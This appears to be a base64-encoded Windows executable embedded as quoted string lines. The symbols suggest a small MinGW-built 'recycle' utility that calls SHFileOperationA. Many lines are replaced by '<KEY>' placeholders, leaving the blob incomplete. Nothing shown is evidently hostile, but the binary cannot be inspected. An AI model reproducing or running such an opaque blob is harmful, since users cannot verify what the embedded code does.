"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"kFWJ5YPsCKEgIEAAgzgAdBf/EIsVICBAAI1CBItSBKMgIEAAhdJ16cnDjbQmAAAAAFWJ5VOD7ASh4\"\n\"BpAAIP4/3QphcCJw3QTifaNvCcAAAAA/xSd4BpAAEt19scEJCAUQADoOv7//1lbXcMxwIM95BpAAA\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\n\"//<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"SAgAAuKwwQAC75AAAAIlEJAyJXCQI69eNtCYAAAAAjbwnAAAAAFWJ<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\n\"<KEY>\"\n\"<KEY>\"\n\"///+<KEY>\"\n\"<KEY>\"\n\"<KEY>Q\"\n\"AtABAAAOvpKcGDCQCJ4InMiwiLQAT/4JCQkFWJ5YPsGItFFIlEJBCLRRCJRCQMi0UMiUQkCItFCIl\"\n\"EJASh/FBAAIPAQIkEJOj+AAAAofxQQACDwECJBCTo3gAAAOjJAAAAkJCQkJCQkJCQ/yX0UEAAkJAA\"\n\"AAAAAAAAAP8l+FBAAJCQAAAAAAAAAAD/JexQQACQkAAAAAAAAAAA/yUkUUAAkJAAAAAAAAAAAP8l8\"\n\"FBAAJCQAAAAAAAAAAD/JQRRQACQkAAAAAAAAAAA/yXoUEAAkJAAAAAAAAAAAP8lIFFAAJCQAAAAAA\"\n\"AAAAD/JShRQACQkAAAAAAAAAAA/yUsUUAAkJAAAAAAAAAAAP8lGFFAAJCQAAAAAAAAAAD/JRxRQAC\"\n\"QkAAAAAAAAAAA/yUIUUAAkJAAAAAAAAAAAP8lEFFAAJCQAAAAAAAAAAD/JRRRQACQkAAAAAAAAAAA\"\n\"/yXcUEAAkJAAAAAAAAAAAP8l0FBAAJCQAAAAAAAAAAD/JdhQQACQkAAAAAAAAAAA/yXUUEAAkJAAA\"\n\"AAAAAAAAP8lzFBAAJCQAAAAAAAAAAD/JThRQACQkAAAAAAAAAAAVYnlXekH+P//kJCQkJCQkP////\"\n\"/QGkAAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8\"\n\"AAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAA8BpAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP//\"\n\"//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAC1MSUJHQ0NXMzItRUgtMi1TSkxKLUdUSFItTUlOR1czMgAAAHczMl9zaGFyZWRwdHItPnNpe\"\n\"mUgPT0gc2l6ZW9mKFczMl9FSF9TSEFSRUQpACVzOiV1OiBmYWlsZWQgYXNzZXJ0aW9uIGAlcycKAA\"\n\"AuLi8uLi9nY2MvZ2NjL2NvbmZpZy9pMzg2L3czMi1zaGFyZWQtcHRyLmMAAEdldEF0b21OYW1lQSA\"\n\"oYXRvbSwgcywgc2l6ZW9mKHMpKSAhPSAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUUAAAAAAAAAAAAACgUgAAzFAAA\"\n\"HBQAAAAAAAAAAAAAPhSAADoUAAAwFAAAAAAAAAAAAAACFMAADhRAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAABAUQAATFEAAFxRAABoUQAAeFEAAAAAAAAAAAAAmFEAAKhRAAC4UQAAyFEAANxRAADoUQA\"\n\"A8FEAAPxRAAAIUgAAEFIAABxSAAAoUgAANFIAADxSAABIUgAAVFIAAGBSAABsUgAAAAAAAAAAAAB4\"\n\"UgAAAAAAAAAAAABAUQAATFEAAFxRAABoUQAAeFEAAAAAAAAAAAAAmFEAAKhRAAC4UQAAyFEAANxRA\"\n\"ADoUQAA8FEAAPxRAAAIUgAAEFIAABxSAAAoUgAANFIAADxSAABIUgAAVFIAAGBSAABsUgAAAAAAAA\"\n\"AAAAB4UgAAAAAAAAEAQWRkQXRvbUEAAJwARXhpdFByb2Nlc3MAAACwAEZpbmRBdG9tQQDdAEdldEF\"\n\"0b21OYW1lQQAA4wJTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAAAnAF9fZ2V0bWFpbmFyZ3MA\"\n\"PABfX3BfX2Vudmlyb24AAD4AX19wX19mbW9kZQAAAABQAF9fc2V0X2FwcF90eXBlAAAAAHkAX2Nle\"\n\"Gl0AAAAAOkAX2lvYgAAXgFfb25leGl0AAAAhAFfc2V0bW9kZQAAFQJhYm9ydAAcAmF0ZXhpdAAAAA\"\n\"AwAmZmbHVzaAAAAAA5AmZwcmludGYAAAA/AmZyZWUAAHICbWFsbG9jAAAAAHoCbWVtc2V0AAAAAJA\"\n\"Cc2lnbmFsAAAAAJsCc3RyY3B5AAAAAJ8Cc3RybGVuAAAAAEoAU0hGaWxlT3BlcmF0aW9uQQAAAFAA\"\n\"AABQAAAAUAAAAFAAAABQAABLRVJORUwzMi5kbGwAAAAAFFAAABRQAAAUUAAAFFAAABRQAAAUUAAAF\"\n\"FAAABRQAAAUUAAAFFAAABRQAAAUUAAAFFAAABRQAAAUUAAAFFAAABRQAAAUUAAAbXN2Y3J0LmRsbA\"\n\"AAKFAAAFNIRUxMMzIuRExMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAALmZpbGUAAAAPAAAA/v8AAGcBY3J0MS5jAAAAAAAAAAAAAAA\"\n\"AAAAAAAQAAAAAAAAAAQAgAAMBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAABQAQAAAQAgAAMAAAAA\"\n\"ADIAAACAAgAAAQAgAAIAAAAAAEIAAACgAgAAAQAgAAIAX2F0ZXhpdADAAgAAAQAgAAIAX19vbmV4a\"\n\"XTQAgAAAQAgAAIALnRleHQAAAAAAAAAAQAAAAMB3AIAACoAAAAAAAAAAAAAAAAALmRhdGEAAAAAAA\"\n\"AAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAAAAAAAABAAAAAMBCAAAAAAAAAAAAAAAAAA\"\n\"AAAAALmZpbGUAAAAZAAAA/v8AAGcBY3J0c3R1ZmYuYwAAAAAAAAAAAAAAAFUAAADgAgAAAQAgAAIB\"\n\"AAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgAgAAAQAAAAMBCQAAAAEAAAAAAAAAAAAAAAAALmRhd\"\n\"GEAAAAAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAAAQAAAABAAAAAMBAAAAAAAAAA\"\n\"AAAAAAAAAAAAAALmZpbGUAAAAkAAAA/v8AAGcBcmVjeWNsZS5jAAAAAAAAAAAAX21haW4AAADwAgA\"\n\"AAQAgAAIALnRleHQAAADwAgAAAQAAAAMBLwEAAAkAAAAAAAAAAAAAAAAALmRhdGEAAAAAAAAAAgAA\"\n\"AAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAAAQAAAABAAAAAMBAAAAAAAAAAAAAAAAAAAAAAAAL\"\n\"nJkYXRhAAAAAAAAAwAAAAMBAwAAAAAAAAAAAAAAAAAAAAAALmZpbGUAAAAsAAAA/v8AAGcBQ1JUZ2\"\n\"xvYi5jAAAAAAAAAAAALnRleHQAAAAgBAAAAQAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmRhdGEAAAA\"\n\"AAAAAAgAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAAAQAAAABAAAAAMBAAAAAAAAAAAAAAAA\"\n\"AAAAAAAALmZpbGUAAAA0AAAA/v8AAGcBQ1JUZm1vZGUuYwAAAAAAAAAALnRleHQAAAAgBAAAAQAAA\"\n\"AMBAAAAAAAAAAAAAAAAAAAAAAAALmRhdGEAAAAQAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALm\"\n\"JzcwAAAAAQAAAABAAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmZpbGUAAAA8AAAA/v8AAGcBdHh0bW9\"\n\"kZS5jAAAAAAAAAAAALnRleHQAAAAgBAAAAQAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmRhdGEAAAAQ\"\n\"AAAAAgAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAAAgAAAABAAAAAMBAAAAAAAAAAAAAAAAA\"\n\"AAAAAAALmZpbGUAAABKAAAA/v8AAGcBZ2NjbWFpbi5jAAAAAAAAAAAAAAAAAGUAAAAgAAAABAAAAA\"\n\"MAcC4wAAAAAAAgAAAAAgAAAAMAAAAAAHIAAAAgBAAAAQAgAAIBAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAIUAAABQBAAAAQAgAAIAX19fbWFpbgCwBAAAAQAgAAIALnRleHQAAAAgBAAAAQAAAAMBrQAAAAsA\"\n\"AAAAAAAAAAAAAAAALmRhdGEAAAAgAAAAAgAAAAMBBAAAAAEAAAAAAAAAAAAAAAAALmJzcwAAAAAgA\"\n\"AAABAAAAAMBEAAAAAAAAAAAAAAAAAAAAAAALmZpbGUAAABUAAAA/v8AAGcBcHNldWRvLXJlbG9jLm\"\n\"MAAAAAAAAAAJgAAADQBAAAAQAgAAIBAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADQBAAAAQAAAAM\"\n\"BKAAAAAMAAAAAAAAAAAAAAAAALmRhdGEAAAAwAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJz\"\n\"cwAAAAAwAAAABAAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmZpbGUAAABeAAAA/v8AAGcBY3B1X2ZlY\"\n\"XR1cmVzLmMAAAAAAAAAALMAAAAABQAAAQAgAAIBAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAABQ\"\n\"AAAQAAAAMB+AAAAAsAAAAAAAAAAAAAAAAALmRhdGEAAAAwAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAA\"\n\"AAAAALmJzcwAAAAAwAAAABAAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmZpbGUAAABpAAAA/v8AAGcB\"\n\"Q1JUX2ZwMTAuYwAAAAAAAAAAX2ZwcmVzZXQABgAAAQAgAAIBAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"MgAAAAABgAAAQAgAAIALnRleHQAAAAABgAAAQAAAAMBBwAAAAAAAAAAAAAAAAAAAAAALmRhdGEAAA\"\n\"AwAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABAAAAABAAAAAMBAAAAAAAAAAAAAAA\"\n\"AAAAAAAAALmZpbGUAAAAWAQAA/v8AAGcBAAAAANIAAAAAAAAAAAAAAAAALnRleHQAAAAQBgAAAQAA\"\n\"AAMBAAAAAAAAAAAAAAAAAAAAAAAALmRhdGEAAAAwAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAAL\"\n\"mJzcwAAAABAAAAABAAAAAMBAgAAAAAAAAAAAAAAAAAAAAAAAAAAAOYAAAAQAAAAAwAAAAMAAAAAAP\"\n\"cAAAAQBgAAAQAgAAMBAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsBAAAgBgAAAQAgAAMAAAAAADABAAB\"\n\"QAAAABAAAAAMAAAAAAEMBAAAwAAAAAgAAAAMAAAAAAE4BAABgAAAABAAAAAMAAAAAAFsBAAA4AAAA\"\n\"AgAAAAMAAAAAAGYBAADABgAAAQAgAAIALnRleHQAAAAQBgAAAQAAAAMB5QIAACwAAAAAAAAAAAAAA\"\n\"AAALmRhdGEAAAAwAAAAAgAAAAMBEAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABQAAAABAAAAAMBIA\"\n\"AAAAAAAAAAAAAAAAAAAAAALnJkYXRhAAAQAAAAAwAAAAMBwwAAAAAAAAAAAAAAAAAAAAAAcHJvYmU\"\n\"AAAAGCQAAAQAAAAYAZG9uZQAAAAAdCQAAAQAAAAYALnRleHQAAAAACQAAAQAAAAMBLQAAAAAAAAAA\"\n\"AAAAAAAAAAAALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABwAAAAB\"\n\"AAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAwCQAAAQAAAAMBAAAAAAAAAAAAAAAAAAAAAA\"\n\"AALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABwAAAABAAAAAMBAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAIIBAAAwCQAAAQAgAAIBAAAAAAAAAAAAAAAAAAAAAAAALnRleHQA\"\n\"AAAwCQAAAQAAAAMBRwAAAAUAAAAAAAAAAAAAAAAALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAAA\"\n\"AAAAAAAAAAALmJzcwAAAABwAAAABAAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACACQAAAQ\"\n\"AAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfEAgAABQAAAAM\"\n\"ALmlkYXRhJDX8AAAABQAAAAMALmlkYXRhJDSEAAAABQAAAAMALmlkYXRhJDboAQAABQAAAAMALnRl\"\n\"eHQAAACACQAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJ\"\n\"De8AgAABQAAAAMALmlkYXRhJDX0AAAABQAAAAMALmlkYXRhJDR8AAAABQAAAAMALmlkYXRhJDbIAQ\"\n\"AABQAAAAMALnRleHQAAACQCQAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAA\"\n\"AAAMALmlkYXRhJDfUAgAABQAAAAMALmlkYXRhJDUMAQAABQAAAAMALmlkYXRhJDSUAAAABQAAAAMA\"\n\"LmlkYXRhJDYQAgAABQAAAAMALnRleHQAAACQCQAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzc\"\n\"wAAAABwAAAABAAAAAMALmlkYXRhJDfIAgAABQAAAAMALmlkYXRhJDUAAQAABQAAAAMALmlkYXRhJD\"\n\"SIAAAABQAAAAMALmlkYXRhJDbwAQAABQAAAAMALnRleHQAAACQCQAAAQAAAAMALmRhdGEAAABAAAA\"\n\"AAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfAAgAABQAAAAMALmlkYXRhJDX4AAAABQAA\"\n\"AAMALmlkYXRhJDSAAAAABQAAAAMALmlkYXRhJDbcAQAABQAAAAMALnRleHQAAACgCQAAAQAAAAMAL\"\n\"mRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDe0AgAABQAAAAMALmlkYX\"\n\"RhJDXsAAAABQAAAAMALmlkYXRhJDR0AAAABQAAAAMALmlkYXRhJDaoAQAABQAAAAMALnRleHQAAAC\"\n\"wCQAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfsAgAA\"\n\"BQAAAAMALmlkYXRhJDUkAQAABQAAAAMALmlkYXRhJDSsAAAABQAAAAMALmlkYXRhJDZUAgAABQAAA\"\n\"AMALnRleHQAAADACQAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALm\"\n\"lkYXRhJDe4AgAABQAAAAMALmlkYXRhJDXwAAAABQAAAAMALmlkYXRhJDR4AAAABQAAAAMALmlkYXR\"\n\"hJDa4AQAABQAAAAMALnRleHQAAADQCQAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABw\"\n\"AAAABAAAAAMALmlkYXRhJDfMAgAABQAAAAMALmlkYXRhJDUEAQAABQAAAAMALmlkYXRhJDSMAAAAB\"\n\"QAAAAMALmlkYXRhJDb8AQAABQAAAAMALnRleHQAAADgCQAAAQAAAAMALmRhdGEAAABAAAAAAgAAAA\"\n\"MALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDewAgAABQAAAAMALmlkYXRhJDXoAAAABQAAAAMALml\"\n\"kYXRhJDRwAAAABQAAAAMALmlkYXRhJDaYAQAABQAAAAMALnRleHQAAADwCQAAAQAAAAMALmRhdGEA\"\n\"AABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfoAgAABQAAAAMALmlkYXRhJDUgA\"\n\"QAABQAAAAMALmlkYXRhJDSoAAAABQAAAAMALmlkYXRhJDZIAgAABQAAAAMALnRleHQAAAAACgAAAQ\"\n\"AAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfwAgAABQAAAAM\"\n\"ALmlkYXRhJDUoAQAABQAAAAMALmlkYXRhJDSwAAAABQAAAAMALmlkYXRhJDZgAgAABQAAAAMALnRl\"\n\"eHQAAAAQCgAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJ\"\n\"Df0AgAABQAAAAMALmlkYXRhJDUsAQAABQAAAAMALmlkYXRhJDS0AAAABQAAAAMALmlkYXRhJDZsAg\"\n\"AABQAAAAMALnRleHQAAAAgCgAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAA\"\n\"AAAMALmlkYXRhJDfgAgAABQAAAAMALmlkYXRhJDUYAQAABQAAAAMALmlkYXRhJDSgAAAABQAAAAMA\"\n\"LmlkYXRhJDY0AgAABQAAAAMALnRleHQAAAAwCgAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzc\"\n\"wAAAABwAAAABAAAAAMALmlkYXRhJDfkAgAABQAAAAMALmlkYXRhJDUcAQAABQAAAAMALmlkYXRhJD\"\n\"SkAAAABQAAAAMALmlkYXRhJDY8AgAABQAAAAMALnRleHQAAABACgAAAQAAAAMALmRhdGEAAABAAAA\"\n\"AAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfQAgAABQAAAAMALmlkYXRhJDUIAQAABQAA\"\n\"AAMALmlkYXRhJDSQAAAABQAAAAMALmlkYXRhJDYIAgAABQAAAAMALnRleHQAAABQCgAAAQAAAAMAL\"\n\"mRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfYAgAABQAAAAMALmlkYX\"\n\"RhJDUQAQAABQAAAAMALmlkYXRhJDSYAAAABQAAAAMALmlkYXRhJDYcAgAABQAAAAMALnRleHQAAAB\"\n\"gCgAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDfcAgAA\"\n\"BQAAAAMALmlkYXRhJDUUAQAABQAAAAMALmlkYXRhJDScAAAABQAAAAMALmlkYXRhJDYoAgAABQAAA\"\n\"AMALmZpbGUAAAAmAQAA/v8AAGcBZmFrZQAAAAAAAAAAAAAAAAAAaG5hbWUAAABwAAAABQAAAAMAZn\"\n\"RodW5rAADoAAAABQAAAAMALnRleHQAAABwCgAAAQAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmRhdGE\"\n\"AAABAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABwAAAABAAAAAMBAAAAAAAAAAAA\"\n\"AAAAAAAAAAAALmlkYXRhJDIUAAAABQAAAAMBFAAAAAMAAAAAAAAAAAAAAAAALmlkYXRhJDXkAAAAB\"\n\"QAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDRsAAAABQAAAAMBBAAAAAAAAAAAAAAAAAAAAA\"\n\"AALmZpbGUAAABXAQAA/v8AAGcBZmFrZQAAAAAAAAAAAAAAAAAALnRleHQAAABwCgAAAQAAAAMBAAA\"\n\"AAAAAAAAAAAAAAAAAAAAALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAA\"\n\"AABwAAAABAAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDS4AAAABQAAAAMBBAAAAAAAAAAAA\"\n\"AAAAAAAAAAALmlkYXRhJDUwAQAABQAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDf4AgAABQ\"\n\"AAAAMBCwAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABwCgAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAM\"\n\"ALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDecAgAABQAAAAMALmlkYXRhJDXcAAAABQAAAAMALmlk\"\n\"YXRhJDRkAAAABQAAAAMALmlkYXRhJDZ4AQAABQAAAAMALnRleHQAAACACgAAAQAAAAMALmRhdGEAA\"\n\"ABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDeQAgAABQAAAAMALmlkYXRhJDXQAA\"\n\"AABQAAAAMALmlkYXRhJDRYAAAABQAAAAMALmlkYXRhJDZMAQAABQAAAAMALnRleHQAAACQCgAAAQA\"\n\"AAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDeYAgAABQAAAAMA\"\n\"LmlkYXRhJDXYAAAABQAAAAMALmlkYXRhJDRgAAAABQAAAAMALmlkYXRhJDZoAQAABQAAAAMALnRle\"\n\"HQAAACgCgAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJD\"\n\"eUAgAABQAAAAMALmlkYXRhJDXUAAAABQAAAAMALmlkYXRhJDRcAAAABQAAAAMALmlkYXRhJDZcAQA\"\n\"ABQAAAAMALnRleHQAAACwCgAAAQAAAAMALmRhdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAA\"\n\"AAMALmlkYXRhJDeMAgAABQAAAAMALmlkYXRhJDXMAAAABQAAAAMALmlkYXRhJDRUAAAABQAAAAMAL\"\n\"mlkYXRhJDZAAQAABQAAAAMALmZpbGUAAABnAQAA/v8AAGcBZmFrZQAAAAAAAAAAAAAAAAAAaG5hbW\"\n\"UAAABUAAAABQAAAAMAZnRodW5rAADMAAAABQAAAAMALnRleHQAAADACgAAAQAAAAMBAAAAAAAAAAA\"\n\"AAAAAAAAAAAAALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABwAAAA\"\n\"BAAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDIAAAAABQAAAAMBFAAAAAMAAAAAAAAAAAAAA\"\n\"AAALmlkYXRhJDXIAAAABQAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDRQAAAABQAAAAMBBA\"\n\"AAAAAAAAAAAAAAAAAAAAAALmZpbGUAAAB8AQAA/v8AAGcBZmFrZQAAAAAAAAAAAAAAAAAALnRleHQ\"\n\"AAADACgAAAQAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAA\"\n\"AAAAAAAAAAAALmJzcwAAAABwAAAABAAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDRoAAAAB\"\n\"QAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDXgAAAABQAAAAMBBAAAAAAAAAAAAAAAAAAAAA\"\n\"AALmlkYXRhJDegAgAABQAAAAMBDQAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADACgAAAQAAAAMALmR\"\n\"hdGEAAABAAAAAAgAAAAMALmJzcwAAAABwAAAABAAAAAMALmlkYXRhJDcEAwAABQAAAAMALmlkYXRh\"\n\"JDU4AQAABQAAAAMALmlkYXRhJDTAAAAABQAAAAMALmlkYXRhJDZ4AgAABQAAAAMALmZpbGUAAACMA\"\n\"QAA/v8AAGcBZmFrZQAAAAAAAAAAAAAAAAAAaG5hbWUAAADAAAAABQAAAAMAZnRodW5rAAA4AQAABQ\"\n\"AAAAMALnRleHQAAADQCgAAAQAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmRhdGEAAABAAAAAAgAAAAM\"\n\"BAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABwAAAABAAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmlk\"\n\"YXRhJDIoAAAABQAAAAMBFAAAAAMAAAAAAAAAAAAAAAAALmlkYXRhJDU0AQAABQAAAAMBBAAAAAAAA\"\n\"AAAAAAAAAAAAAAALmlkYXRhJDS8AAAABQAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmZpbGUAAACaAQ\"\n\"AA/v8AAGcBZmFrZQAAAAAAAAAAAAAAAAAALnRleHQAAADQCgAAAQAAAAMBAAAAAAAAAAAAAAAAAAA\"\n\"AAAAALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABwAAAABAAAAAMB\"\n\"AAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDTEAAAABQAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmlkY\"\n\"XRhJDU8AQAABQAAAAMBBAAAAAAAAAAAAAAAAAAAAAAALmlkYXRhJDcIAwAABQAAAAMBDAAAAAAAAA\"\n\"AAAAAAAAAAAAAALmZpbGUAAACmAQAA/v8AAGcBY3J0c3R1ZmYuYwAAAAAAAAAAAAAAAI0BAADQCgA\"\n\"AAQAgAAMBAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADQCgAAAQAAAAMBCQAAAAEAAAAAAAAAAAAA\"\n\"AAAALmRhdGEAAABAAAAAAgAAAAMBAAAAAAAAAAAAAAAAAAAAAAAALmJzcwAAAABwAAAABAAAAAMBA\"\n\"AAAAAAAAAAAAAAAAAAAAAAALmN0b3JzAADkCgAAAQAAAAMBBAAAAAEAAAAAAAAAAAAAAAAAX19jZX\"\n\"hpdACQCQAAAQAgAAIAAAAAAJ8BAADwAAAAAwAAAAIAAAAAAL4BAAAEAQAABQAAAAIAAAAAAM4BAAA\"\n\"AAAAAAgAAAAIAAAAAAN0BAADsCgAAAQAAAAIAX2ZyZWUAAAAgCgAAAQAgAAIAAAAAAOwBAAAAAQAA\"\n\"BQAAAAIAAAAAAPsBAADACQAAAQAgAAIAAAAAAAcCAABwCgAAAQAAAAIAAAAAACYCAABwAAAABAAAA\